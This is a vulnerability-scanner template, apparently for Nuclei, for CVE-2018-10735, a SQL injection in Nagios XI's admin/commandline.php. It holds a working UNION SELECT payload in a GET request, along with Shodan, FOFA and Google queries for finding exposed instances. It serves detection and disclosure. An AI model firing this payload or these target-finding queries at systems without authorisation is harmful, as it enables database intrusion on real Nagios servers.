CVE-2018-10735: NagiosXI <= 5.4.12 `commandline.php` SQL injection

2025-08-01 NagiosXI PoC Public

Description

A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/commandline.php cname parameter.

PoC

id: CVE-2018-10735

info:
  name: NagiosXI <= 5.4.12 `commandline.php` SQL injection
  author: DhiyaneshDk
  severity: high
  description: |
    A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/commandline.php cname parameter.
  impact: |
    Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.
  remediation: |
    Upgrade to Nagios XI version 5.4.13 or later.
  reference:
    - https://vulners.com/seebug/SSV:97266
    - https://github.com/chaitin/xray/blob/master/pocs/nagio-cve-2018-10735.yml
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2018-10735
    cwe-id: CWE-89
    epss-score: 0.42556
    epss-percentile: 0.98636
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query:
      - app="Nagios-XI"
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2018,nagios,sqli,vuln,vkev
variables:
  num: "{{rand_int(2000000000, 2100000000)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{num}}))%23"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
# digest: 490a0046304402206690598161a4d0cb572bd4202fc438c5cceea09e6801fd5b8a769f5ead1ebfb00220689bdc98b46cff8c318baeac20ce4fd39e69e4a6fc1f7b1e997d83f84cf4bf6d:922c64590222798bb761d5b6d8e72950

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